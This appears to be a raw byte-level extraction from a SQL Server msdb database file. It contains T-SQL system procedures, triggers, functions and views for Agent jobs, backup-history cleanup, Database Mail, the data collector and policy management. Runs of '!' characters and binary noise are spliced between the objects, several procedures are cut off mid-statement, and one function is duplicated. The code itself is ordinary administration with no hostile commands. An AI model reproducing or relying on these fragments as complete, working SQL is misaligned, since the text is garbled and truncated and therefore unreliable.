  DECLARE @retval                     INT
  DECLARE @notify_email_operator_id   INT
  DECLARE @notify_netsend_operator_id INT
  DECLARE @notify_page_operator_id    INT
  DECLARE @owner_sid                  VARBINARY(85)
  DECLARE @originating_server_id      INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters (except @owner_login_name)
  SELECT @originating_server           = UPPER(LTRIM(RTRIM(@originating_server)))
  SELECT @job_name                     = LTRIM(RTRIM(@job_name))
  SELECT @description                  = LTRIM(RTRIM(@description))
  SELECT @category_name                = LTRIM(RTRIM(@category_name))
  SELECT @notify_email_operator_name   = LTRIM(RTRIM(@notify_email_operator_name))
  SELECT @notify_netsend_operator_name = LTRIM(RTRIM(@notify_netsend_operator_name))
  SELECT @notify_page_operator_name    = LTRIM(RTRIM(@notify_page_operator_name))
  SELECT @originating_server_id        = NULL

  -- Turn [nullable] empty string parameters into NULLs
  IF (@originating_server           = N'') SELECT @originating_server           = NULL
  IF (@description                  = N'') SELECT @description                  = NULL
  IF (@category_name                = N'') SELECT @category_name                = NULL
  IF (@notify_email_operator_name   = N'') SELECT @notify_email_operator_name   = NULL
  IF (@notify_netsend_operator_name = N'') SELECT @notify_netsend_operator_name = NULL
  IF (@notify_page_operator_name    = N'') SELECT @notify_page_operator_name    = NULL

  IF (@originating_server IS NULL) OR (@originating_server = '(LOCAL)')
    SELECT @originating_server= UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))

  --only members of sysadmins role can set the owner
  IF (@owner_login_name IS NOT NULL AND ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 0) AND (@owner_login_name <> SUSER_SNAME())
  BEGIN
    RAISERROR(14515, -1, -1)
    RETURN(1) -- Failure
  END
    
  -- Default the owner (if not supplied or if a non-sa is [illegally] trying to create a job for another user)
  -- allow special account only when caller is sysadmin
  IF (@owner_login_name = N'$(SQLAgentAccount)')  AND 
     (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1)
  BEGIN
    SELECT @owner_sid = 0xFFFFFFFF   
  END
  ELSE 
  IF (@owner_login_name IS NULL) OR ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 0) AND (@owner_login_name <> SUSER_SNAME()))
  BEGIN
    SELECT @owner_sid = SUSER_SID()
  END
  ELSE
  BEGIN
    --force case insensitive comparation for NT users
    SELECT @owner_sid = SUSER_SID(@owner_login_name, 0) -- If @owner_login_name is invalid then SUSER_SID() will return NULL
  END

  -- Default the description (if not supplied)
  IF (@description IS NULL)
    SELECT @description = FORMATMESSAGE(14571)

  -- If a category ID is provided this overrides any supplied category name
  EXECUTE @retval = sp_verify_category_identifiers '@category_name',
                                                   '@category_id',
                                                    @category_name OUTPUT,
                                                    @category_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Check parameters
  EXECUTE @retval = sp_verify_job NULL,  --  The job id is null since this is a new job
                                  @job_name,
                                  @enabled,
                                  @start_step_id,
                                  @category_name,
                                  @owner_sid                  OUTPUT,
                                  @notify_level_eventlog,
                                  @notify_level_email         OUTPUT,
                                  @notify_level_netsend       OUTPUT,
                                  @notify_level_page          OUTPUT,
                                  @notify_email_operator_name,
                                  @notify_netsend_operator_name,
                                  @notify_page_operator_name,
                                  @delete_level,
                                  @category_id                OUTPUT,
                                  @notify_email_operator_id   OUTPUT,
                                  @notify_netsend_operator_id OUTPUT,
                                  @notify_page_operator_id    OUTPUT,
                                  @originating_server         OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure
    
    
  SELECT @originating_server_id = originating_server_id 
  FROM msdb.dbo.sysoriginatingservers_view 
  WHERE (originating_server = @originating_server)
  IF (@originating_server_id IS NULL)
  BEGIN
    RAISERROR(14370, -1, -1)
    RETURN(1) -- Failure
  END
    

  IF (@job_id IS NULL)
  BEGIN
    -- Assign the GUID
    SELECT @job_id = NEWID()
  END
  ELSE
  BEGIN
    -- A job ID has been provided, so check that the caller is SQLServerAgent (inserting an MSX job)
    IF (PROGRAM_NAME() NOT LIKE N'SQLAgent%')
    BEGIN
      RAISERROR(14274, -1, -1)
      RETURN(1) -- Failure
    END
  END

  INSERT INTO msdb.dbo.sysjobs
         (job_id,
          originating_server_id,
          name,
          enabled,
          description,
          start_step_id,
          category_id,
          owner_sid,
          notify_level_eventlog,
          notify_level_email,
          notify_level_netsend,
          notify_level_page,
          notify_email_operator_id,
          notify_netsend_operator_id,
          notify_page_operator_id,
          delete_level,
          date_created,
          date_modified,
          version_number)
  VALUES  (@job_id,
          @originating_server_id,
          @job_name,
          @enabled,
          @description,
          @start_step_id,
          @category_id,
          @owner_sid,
          @notify_level_eventlog,
          @notify_level_email,
          @notify_level_netsend,
          @notify_level_page,
          @notify_email_operator_id,
          @notify_netsend_operator_id,
          @notify_page_operator_id,
          @delete_level,
          GETDATE(),
          GETDATE(),
          1) -- Version number 1
  SELECT @retval = @@error

  -- NOTE: We don't notify SQLServerAgent to update it's cache (we'll do this in sp_add_jobserver)

  RETURN(@retval) -- 0 means success
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	[MkE0c5U %8((1))0U j
8CREATE   PROCEDURE sp_delete_database_backuphistory
  @database_name sysname
AS
BEGIN
  SET NOCOUNT ON

  DECLARE @backup_set_id TABLE      (backup_set_id INT)
  DECLARE @media_set_id TABLE       (media_set_id INT)
  DECLARE @restore_history_id TABLE (restore_history_id INT)

  INSERT INTO @backup_set_id (backup_set_id)
  SELECT DISTINCT backup_set_id
  FROM msdb.dbo.backupset
  WHERE database_name = @database_name

  INSERT INTO @media_set_id (media_set_id)
  SELECT DISTINCT media_set_id
  FROM msdb.dbo.backupset
  WHERE database_name = @database_name

  INSERT INTO @restore_history_id (restore_history_id)
  SELECT DISTINCT restore_history_id
  FROM msdb.dbo.restorehistory
  WHERE backup_set_id IN (SELECT backup_set_id
                          FROM @backup_set_id)

  BEGIN TRANSACTION

  DELETE FROM msdb.dbo.backupfile
  WHERE backup_set_id IN (SELECT backup_set_id
                          FROM @backup_set_id)
  IF (@@error > 0)
    GOTO Quit

  DELETE FROM msdb.dbo.backupfilegroup
  WHERE backup_set_id IN (SELECT backup_set_id
                          FROM @backup_set_id)
  IF (@@error > 0)
    GOTO Quit

  DELETE FROM msdb.dbo.restorefile
  WHERE restore_history_id IN (SELECT restore_history_id
                               FROM @restore_history_id)
  IF (@@error > 0)
    GOTO Quit

  DELETE FROM msdb.dbo.restorefilegroup
  WHERE restore_history_id IN (SELECT restore_history_id
                               FROM @restore_history_id)
  IF (@@error > 0)
    GOTO Quit

  DELETE FROM msdb.dbo.restorehistory
  WHERE restore_history_id IN (SELECT restore_history_id
                               FROM @restore_history_id)
  IF (@@error > 0)
    GOTO Quit

  DELETE FROM msdb.dbo.backupset
  WHERE backup_set_id IN (SELECT backup_set_id
                          FROM @backup_set_id)
  IF (@@error > 0)
    GOTO Quit

  DELETE msdb.dbo.backupmediafamily
  FROM msdb.dbo.backupmediafamily bmf
  WHERE bmf.media_set_id IN (SELECT media_set_id
                             FROM @media_set_id)
    AND ((SELECT COUNT(*)
          FROM msdb.dbo.backupset
          WHERE media_set_id = bmf.media_set_id) = 0)
  IF (@@error > 0)
    GOTO Quit

  DELETE msdb.dbo.backupmediaset
  FROM msdb.dbo.backupmediaset bms
  WHERE bms.media_set_id IN (SELECT media_set_id
                             FROM @media_set_id)
    AND ((SELECT COUNT(*)
          FROM msdb.dbo.backupset
          WHERE media_set_id = bms.media_set_id) = 0)
  IF (@@error > 0)
    GOTO Quit

  COMMIT TRANSACTION
  RETURN

Quit:
  ROLLBACK TRANSACTION
END
0UU 8CREATE PROCEDURE [dbo].[sp_syscollector_purge_collection_logs]
    @reference_date datetime = NULL
AS
BEGIN
    SET NOCOUNT ON

    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_proxy'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_proxy')
        RETURN(1) -- Failure
    END

    IF (@reference_date IS NULL)
    BEGIN
        SET @reference_date = GETDATE()
    END
    
    -- An expired log record is any record of a collection set that is older than 
    -- the reference date minus the collection set's days_until_expiration
    CREATE TABLE #purged_log_ids (log_id BIGINT)
    
    INSERT INTO #purged_log_ids
    SELECT log_id
    FROM syscollector_execution_log_internal as l
    INNER JOIN syscollector_collection_sets s ON l.collection_set_id = s.collection_set_id
    WHERE s.days_until_expiration > 0
    AND @reference_date >= DATEADD(DAY, s.days_until_expiration, l.finish_time)

    -- Delete all ssis log records pertaining to expired logs
    DELETE FROM dbo.sysssislog
        FROM dbo.sysssislog AS s
        INNER JOIN dbo.syscollector_execution_log_internal AS l ON (l.package_execution_id = s.executionid)
        INNER JOIN #purged_log_ids AS i ON i.log_id = l.log_id
        
    -- Then delete the actual logs
    DELETE FROM syscollector_execution_log_internal
        FROM syscollector_execution_log_internal AS l
        INNER Join #purged_log_ids AS i ON i.log_id = l.log_id

    DROP TABLE #purged_log_ids
    -- Go for another round to cleanup the orphans
    -- Ideally, the log heirarchy guarantees that a finish time by a parent log will always
    -- be higher than the finish time of any of its descendants.
    -- The purge step however does not delete log records with a null finish time
    -- A child log can have a null finish time while its parent is closed if there is an
    -- error in execution that causes the log to stay open.
    -- If such a child log exists, its parent will be purged leaving it as an orphan
    
    -- get orphan records and all their descendants in a cursor and purge them
    DECLARE orphaned_log_cursor INSENSITIVE CURSOR FOR
            SELECT log_id 
            FROM syscollector_execution_log_internal
            WHERE parent_log_id NOT IN (
                SELECT log_id FROM syscollector_execution_log_internal
            )
            FOR READ ONLY
            
    DECLARE @log_id BIGINT

    -- for every orphan, delete all its remaining tree
    -- this is supposedly a very small fraction of the entire log
    OPEN orphaned_log_cursor    
    FETCH orphaned_log_cursor INTO @log_id
    WHILE @@FETCH_STATUS = 0
    BEGIN
        EXEC sp_syscollector_delete_execution_log_tree @log_id = @log_id, @from_collection_set = 0
        FETCH orphaned_log_cursor INTO @log_id
    END
    
    CLOSE orphaned_log_cursor
    DEALLOCATE orphaned_log_cursor
END
0U 58(sysdatetimeoffset()) BEGIN
    SELECT @server_name = server_name
    FROM @temp_server_name
    IF (@operation = 'APPLY')
      EXECUTE sp_add_jobserver @job_id = @job_id, @server_name = @server_name
    ELSE
    IF (@operation = 'REMOVE')
      EXECUTE sp_delete_jobserver @job_id = @job_id, @server_name = @server_name
    DELETE FROM @temp_server_name
    WHERE (server_name = @server_name)
  END
  SET ROWCOUNT 0

  IF (@operation = 'APPLY')
    RAISERROR(14240, 0, 1, @rows_affected)
  IF (@operation = 'REMOVE')
    RAISERROR(14241, 0, 1, @rows_affected)

  RETURN(0) -- Success
END
0HU 8
CREATE TRIGGER trig_sysmail_mailitems
ON msdb.dbo.sysmail_mailitems
FOR UPDATE
AS
BEGIN
   SET NOCOUNT ON  

   IF (TRIGGER_NESTLEVEL( OBJECT_ID('dbo.trig_sysmail_mailitems'), 'AFTER' , 'DML' ) <= 1) 
   BEGIN  
      UPDATE msdb.dbo.sysmail_mailitems 
      SET last_mod_date = GETDATE(), last_mod_user = SUSER_SNAME() 
      FROM sysmail_mailitems m, inserted i
      WHERE m.mailitem_id = i.mailitem_id
   END
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!![C
`e<	\1qX0)V L8CREATE TRIGGER dbo.trig_sysschedules_insert_update
ON dbo.sysschedules
FOR INSERT, UPDATE
AS
BEGIN
  SET NOCOUNT ON
  -- Disallow the insert or update if the originating_server_id isn't in sysoriginatingservers_view. 
  IF (EXISTS (SELECT *
            FROM inserted
           WHERE inserted.originating_server_id NOT IN 
                    (SELECT v.originating_server_id 
                     FROM sysoriginatingservers_view AS v)))
  BEGIN
   RAISERROR(14379, -1, -1, 'dbo.sysschedules')
   ROLLBACK TRANSACTION
    RETURN
  END
END
0-IV@ E8CREATE PROCEDURE [dbo].[sp_syscollector_enable_collector]
WITH EXECUTE AS OWNER -- 'MS_DataCollectorInternalUser'
AS
BEGIN
    -- Security check (role membership)
    EXECUTE AS CALLER;
    IF (NOT (ISNULL(IS_MEMBER(N'dc_operator'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        REVERT;
        RAISERROR(14677, -1, -1, 'dc_operator')
        RETURN(1) -- Failure
    END
    REVERT;

    -- check if SQL Server Agent is enabled
    DECLARE @agent_enabled int
    SELECT @agent_enabled = CAST(value_in_use AS int) FROM sys.configurations WHERE name = N'Agent XPs'
    IF @agent_enabled <> 1
    BEGIN
        RAISERROR(14699, -1, -1)
        RETURN (1) -- Failure
    END
    REVERT;

    BEGIN TRANSACTION

    DECLARE @was_enabled int;

    SELECT @was_enabled = ISNULL(CONVERT(int, parameter_value),0)
    FROM [dbo].[syscollector_config_store_internal]
    WHERE parameter_name = 'CollectorEnabled'

    IF (@was_enabled = 0)
    BEGIN

        UPDATE [dbo].[syscollector_config_store_internal]
        SET parameter_value = 1
        WHERE parameter_name = 'CollectorEnabled'

        DECLARE @collection_set_id int

        DECLARE collection_set_cursor CURSOR LOCAL FOR
            SELECT collection_set_id
            FROM dbo.syscollector_collection_sets
            WHERE is_running = 1

        OPEN collection_set_cursor
        FETCH collection_set_cursor INTO @collection_set_id

        WHILE @@FETCH_STATUS = 0 
        BEGIN
            EXEC dbo.sp_syscollector_start_collection_set_jobs @collection_set_id = @collection_set_id
            FETCH collection_set_cursor INTO @collection_set_id
        END

        CLOSE collection_set_cursor
        DEALLOCATE collection_set_cursor

    END

    COMMIT TRANSACTION

END
MOVE'
  RETURN(@retval) -- 0 means success
END
0W@ 8CREATE PROCEDURE sp_get_job_alerts
  @job_id   UNIQUEIDENTIFIER = NULL,
  @job_name sysname          = NULL
AS
BEGIN
  DECLARE @retval INT

  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  SELECT id,
         name,
         enabled,
       type = CASE ISNULL(performance_condition, '!')
         WHEN '!' THEN 1              -- SQL Server event alert
         ELSE CASE event_id
            WHEN 8 THEN 3          -- WMI event alert
            ELSE 2                    -- SQL Server performance condition alert
         END
       END
  FROM msdb.dbo.sysalerts
  WHERE (job_id = @job_id)

  RETURN(0) -- Success
END
0ݳV 8
CREATE TRIGGER trig_sysmail_attachments
ON msdb.dbo.sysmail_attachments
FOR UPDATE
AS
BEGIN
   SET NOCOUNT ON  

   IF (TRIGGER_NESTLEVEL( OBJECT_ID('dbo.trig_sysmail_attachments'), 'AFTER' , 'DML' ) <= 1) 
   BEGIN  
      UPDATE msdb.dbo.sysmail_attachments 
      SET last_mod_date = GETDATE(), last_mod_user = SUSER_SNAME() 
      FROM sysmail_attachments a, inserted i
      WHERE a.attachment_id = i.attachment_id
   END
END
0W 8
CREATE TRIGGER trig_sysmail_log
ON msdb.dbo.sysmail_log
FOR UPDATE
AS
BEGIN
   SET NOCOUNT ON  

   IF (TRIGGER_NESTLEVEL( OBJECT_ID('dbo.trig_sysmail_log'), 'AFTER' , 'DML' ) <= 1) 
   BEGIN  
      UPDATE msdb.dbo.sysmail_log 
      SET last_mod_date = GETDATE(), last_mod_user = SUSER_SNAME() 
      FROM sysmail_log l, inserted i
      WHERE l.log_id = i.log_id
   END
END
0%X@ 8
CREATE FUNCTION dbo.ConvertToInt(@string nvarchar(255), @maxValue int, @defValue int) RETURNS int
AS
BEGIN
    DECLARE @value bigint   
    SET @value = @defValue 
    SET @string = LTRIM(RTRIM(@string))

    -- Check if there is any character other than 0-9 in the string.
    IF ((@string IS NOT NULL AND @string <> N'') AND (@string NOT LIKE '%[^0-9]%'))
    BEGIN
        --INT's have a max of 10 digits
        IF(LEN(@string) <= 10)
        BEGIN
        -- Try converting to bigint. Return default if the value is bigger than @maxValue
        SET @value = CONVERT(bigint, @string)
        IF(@value > CONVERT(bigint, @maxValue))
            SET @value = @defValue
        END
    END

    RETURN CONVERT(int, @value)
END
0W~V h
8CREATE   PROCEDURE sp_delete_backuphistory
  @oldest_date datetime
AS
BEGIN
  SET NOCOUNT ON

  DECLARE @backup_set_id TABLE      (backup_set_id INT)
  DECLARE @media_set_id TABLE       (media_set_id INT)
  DECLARE @restore_history_id TABLE (restore_history_id INT)

  INSERT INTO @backup_set_id (backup_set_id)
  SELECT DISTINCT backup_set_id
  FROM msdb.dbo.backupset
  WHERE backup_finish_date < @oldest_date

  INSERT INTO @media_set_id (media_set_id)
  SELECT DISTINCT media_set_id
  FROM msdb.dbo.backupset
  WHERE backup_finish_date < @oldest_date

  INSERT INTO @restore_history_id (restore_history_id)
  SELECT DISTINCT restore_history_id
  FROM msdb.dbo.restorehistory
  WHERE backup_set_id IN (SELECT backup_set_id
                          FROM @backup_set_id)

  BEGIN TRANSACTION

  DELETE FROM msdb.dbo.backupfile
  WHERE backup_set_id IN (SELECT backup_set_id
                          FROM @backup_set_id)
  IF (@@error > 0)
    GOTO Quit

  DELETE FROM msdb.dbo.backupfilegroup
  WHERE backup_set_id IN (SELECT backup_set_id
                          FROM @backup_set_id)
  IF (@@error > 0)
    GOTO Quit

  DELETE FROM msdb.dbo.restorefile
  WHERE restore_history_id IN (SELECT restore_history_id
                               FROM @restore_history_id)
  IF (@@error > 0)
    GOTO Quit

  DELETE FROM msdb.dbo.restorefilegroup
  WHERE restore_history_id IN (SELECT restore_history_id
                               FROM @restore_history_id)
  IF (@@error > 0)
    GOTO Quit

  DELETE FROM msdb.dbo.restorehistory
  WHERE restore_history_id IN (SELECT restore_history_id
                               FROM @restore_history_id)
  IF (@@error > 0)
    GOTO Quit

  DELETE FROM msdb.dbo.backupset
  WHERE backup_set_id IN (SELECT backup_set_id
                          FROM @backup_set_id)
  IF (@@error > 0)
    GOTO Quit

  DELETE msdb.dbo.backupmediafamily
  FROM msdb.dbo.backupmediafamily bmf
  WHERE bmf.media_set_id IN (SELECT media_set_id
                             FROM @media_set_id)
    AND ((SELECT COUNT(*)
          FROM msdb.dbo.backupset
          WHERE media_set_id = bmf.media_set_id) = 0)
  IF (@@error > 0)
    GOTO Quit

  DELETE msdb.dbo.backupmediaset
  FROM msdb.dbo.backupmediaset bms
  WHERE bms.media_set_id IN (SELECT media_set_id
                             FROM @media_set_id)
    AND ((SELECT COUNT(*)
          FROM msdb.dbo.backupset
          WHERE media_set_id = bms.media_set_id) = 0)
  IF (@@error > 0)
    GOTO Quit

  COMMIT TRANSACTION
  RETURN

Quit:
  ROLLBACK TRANSACTION

END
ruction(s)
    EXECUTE @retval = msdb.dbo.sp_post_msx_operation 'START', 'JOB', @job_id, @server_name
  END

  RETURN(@retval) -- 0 means success
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!![6J%

`.<]Mxf_0Z %8((0))0Ȝ[@ 8CREATE PROCEDURE sp_get_chunked_jobstep_params
  @job_name sysname,
  @step_id  INT = 1
AS
BEGIN
  DECLARE @job_id           UNIQUEIDENTIFIER
  DECLARE @step_id_as_char  VARCHAR(10)
  DECLARE @retval           INT

  SET NOCOUNT ON

  -- Check that the job exists
  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Check that the step exists
  IF (NOT EXISTS (SELECT *
                  FROM msdb.dbo.sysjobsteps
                  WHERE (job_id = @job_id)
                    AND (step_id = @step_id)))
  BEGIN
    SELECT @step_id_as_char = CONVERT(VARCHAR(10), @step_id)
    RAISERROR(14262, -1, -1, '@step_id', @step_id_as_char)
    RETURN(1) -- Failure
  END

  -- Return the sysjobsteps.additional_parameters 
  SELECT additional_parameters
  FROM msdb.dbo.sysjobsteps
  WHERE (job_id = @job_id)
    AND (step_id = @step_id)


  RETURN(@@error) -- 0 means success
END
0x[ 8
CREATE PROCEDURE dbo.sysmail_verify_principal_sp
   @principal_id int,
   @principal_name sysname,
   @allow_both_nulls bit,
   @principal_sid varbinary(85) OUTPUT
AS
   IF @allow_both_nulls = 0
   BEGIN
      -- at least one parameter must be supplied
      IF (@principal_id IS NULL AND @principal_name IS NULL)
      BEGIN
         RAISERROR(14604, -1, -1, 'principal')  
         RETURN(1)
      END
   END

   DECLARE @principalid int

   IF (@principal_id IS NOT NULL AND @principal_name IS NOT NULL) -- both parameters supplied
   BEGIN
     SELECT @principalid=principal_id FROM msdb.sys.database_principals 
            WHERE type in ('U','S','G') AND principal_id = @principal_id AND name = @principal_name

      IF (@principalid IS NULL)
      BEGIN
         RAISERROR(14605, -1, -1, 'principal')  
         RETURN(2)
      END
   END
   ELSE IF (@principal_id IS NOT NULL) -- use id
   BEGIN
     SELECT @principalid=principal_id FROM msdb.sys.database_principals 
            WHERE type in ('U','S','G') AND principal_id = @principal_id

      IF (@principalid IS NULL)
      BEGIN
         RAISERROR(14606, -1, -1, 'principal')
         RETURN(3)
      END      
   END
   ELSE IF (@principal_name IS NOT NULL)  -- use name
   BEGIN
     SELECT @principalid=principal_id FROM msdb.sys.database_principals 
            WHERE type in ('U','S','G') AND name = @principal_name

      IF (@principalid IS NULL)
      BEGIN
         RAISERROR(14607, -1, -1, 'principal')
         RETURN(4)
      END      
   END

   -- populate return variable
   SELECT @principal_sid = dbo.get_principal_sid(@principalid)

   RETURN(0) -- SUCCESS
0tC[ %8((0))0/[ V8CREATE FUNCTION [dbo].[fn_sysutility_mi_get_cpu_architecture_name](@architecture INT)
RETURNS NVARCHAR(64)
AS
BEGIN
   DECLARE @architecture_name NVARCHAR(64) = N''
   SELECT @architecture_name = 
      CASE 
         WHEN @architecture = 0 THEN 'x86'
         WHEN @architecture = 1 THEN 'MIPS'
         WHEN @architecture = 2 THEN 'Alpha'
         WHEN @architecture = 3 THEN 'PowerPC'
         WHEN @architecture = 6 THEN 'Intel Itanium Processor Family (IPF)'
         WHEN @architecture = 9 THEN 'x64'
      END
   RETURN @architecture_name
END
0c[ 8	CREATE VIEW dbo.sysutility_ucp_mi_volume_space_health 
	AS
	SELECT t.physical_server_name,
			t.server_instance_name,
			t.volume_device_id,
			t.health_state,
			t.processing_time
	FROM msdb.dbo.sysutility_ucp_mi_volume_space_health_internal AS t
	WHERE t.set_number = (SELECT latest_health_state_id FROM [msdb].[dbo].[sysutility_ucp_processing_state_internal])
rror 

   EXECUTE @rv = msdb.dbo.sp_add_jobschedule 
      @job_name = @backup_job_name, 
      @freq_type = 4, 
      @freq_interval = 1, 
      @freq_subday_type = 0x4, 
      @freq_subday_interval = 1, -- run every minute
      @freq_relative_interval = 0, 
      @name = @backup_job_name
    IF (@@error <> 0 OR @rv <> 0) GOTO rollback_quit -- error

   EXECUTE @rv = msdb.dbo.sp_add_jobserver @job_name = @backup_job_name, @server_name = NULL
    IF (@@error <> 0 OR @rv <> 0) GOTO rollback_quit -- error
  END

  DECLARE @restore_job_name sysname
  SET @restore_job_name = 'Log Shipping Alert Job - Restore'
  IF (NOT EXISTS (SELECT * FROM msdb.dbo.sysjobs WHERE name = @restore_job_name))
  BEGIN
    EXECUTE @rv = msdb.dbo.sp_add_job @job_name = @restore_job_name

    IF (@@error <> 0 OR @rv <> 0) GOTO rollback_quit -- error 

    EXECUTE @rv = msdb.dbo.sp_add_jobstep 
      @job_name = @restore_job_name, 
      @step_id = 1, 
      @step_name = @restore_job_name, 
      @command = N'EXECUTE msdb.dbo.sp_log_shipping_monitor_restore',
      @on_fail_action = 2, 
      @flags = 4, 
      @subsystem = N'TSQL', 
      @on_success_step_id = 0, 
      @on_success_action = 1, 
      @on_fail_step_id = 0
    IF (@@error <> 0 OR @rv <> 0) GOTO rollback_quit -- error 

    EXECUTE @rv = msdb.dbo.sp_add_jobschedule 
      @job_name = @restore_job_name, 
      @freq_type = 4, 
      @freq_interval = 1, 
      @freq_subday_type = 0x4, 
      @freq_subday_interval = 1, -- run every minute
      @freq_relative_interval = 0, 
      @name = @restore_job_name
    IF (@@error <> 0 OR @rv <> 0) GOTO rollback_quit -- error

    EXECUTE @rv = msdb.dbo.sp_add_jobserver @job_name = @restore_job_name, @server_name = NULL
    IF (@@error <> 0 OR @rv <> 0) GOTO rollback_quit -- error
  END
  COMMIT TRANSACTION
  RETURN

rollback_quit:
  ROLLBACK TRANSACTION
END
0Y[ 8CREATE PROCEDURE [dbo].[sp_syspolicy_delete_policy_category_subscription] 
@policy_category_subscription_id int
WITH EXECUTE AS OWNER
AS
BEGIN
    DECLARE @old_policy_category_id INT
    SELECT @old_policy_category_id = policy_category_id 
        FROM dbo.syspolicy_policy_category_subscriptions 
        WHERE policy_category_subscription_id = @policy_category_subscription_id

    DECLARE @group_usage_count INT
    SELECT @group_usage_count = COUNT(name) 
        FROM syspolicy_policies pd 
        WHERE pd.policy_category_id = @old_policy_category_id

    DECLARE @subscription_group_usage_count INT
    SELECT @subscription_group_usage_count = COUNT(*) 
        FROM syspolicy_policy_category_subscriptions  
        WHERE policy_category_id = @old_policy_category_id

    SELECT @group_usage_count = @group_usage_count + @subscription_group_usage_count

    DELETE msdb.dbo.syspolicy_policy_category_subscriptions_internal 
        WHERE policy_category_subscription_id = @policy_category_subscription_id

    IF (@@ROWCOUNT = 0)
    BEGIN
        DECLARE @policy_category_subscription_id_as_char VARCHAR(36)
        SELECT @policy_category_subscription_id_as_char = CONVERT(VARCHAR(36), @policy_category_subscription_id)
        RAISERROR(14262, -1, -1, '@policy_category_subscription_id', @policy_category_subscription_id_as_char)
        RETURN(1) -- Failure
    END

    RETURN (0)
END
0/[ V8CREATE FUNCTION [dbo].[fn_sysutility_mi_get_cpu_architecture_name](@architecture INT)
RETURNS NVARCHAR(64)
AS
BEGIN
   DECLARE @architecture_name NVARCHAR(64) = N''
   SELECT @architecture_name = 
      CASE 
         WHEN @architecture = 0 THEN 'x86'
         WHEN @architecture = 1 THEN 'MIPS'
         WHEN @architecture = 2 THEN 'Alpha'
         WHEN @architecture = 3 THEN 'PowerPC'
         WHEN @architecture = 6 THEN 'Intel Itanium Processor Family (IPF)'
         WHEN @architecture = 9 THEN 'x64'
      END
   RETURN @architecture_name
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!7)h`<^IFW	0VTY -8CREATE PROCEDURE sp_stop_job
  @job_name           sysname          = NULL,
  @job_id             UNIQUEIDENTIFIER = NULL,
  @originating_server sysname          = NULL, -- So that we can stop ALL jobs that came from the given server
  @server_name        sysname        = NULL  -- The specific target server to stop the [multi-server] job on
AS
BEGIN
  DECLARE @job_id_as_char           VARCHAR(36)
  DECLARE @retval                   INT
  DECLARE @num_parameters           INT
  DECLARE @job_owner_sid         VARBINARY(85)
  
  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @job_name           = LTRIM(RTRIM(@job_name))
  SELECT @originating_server = UPPER(LTRIM(RTRIM(@originating_server)))
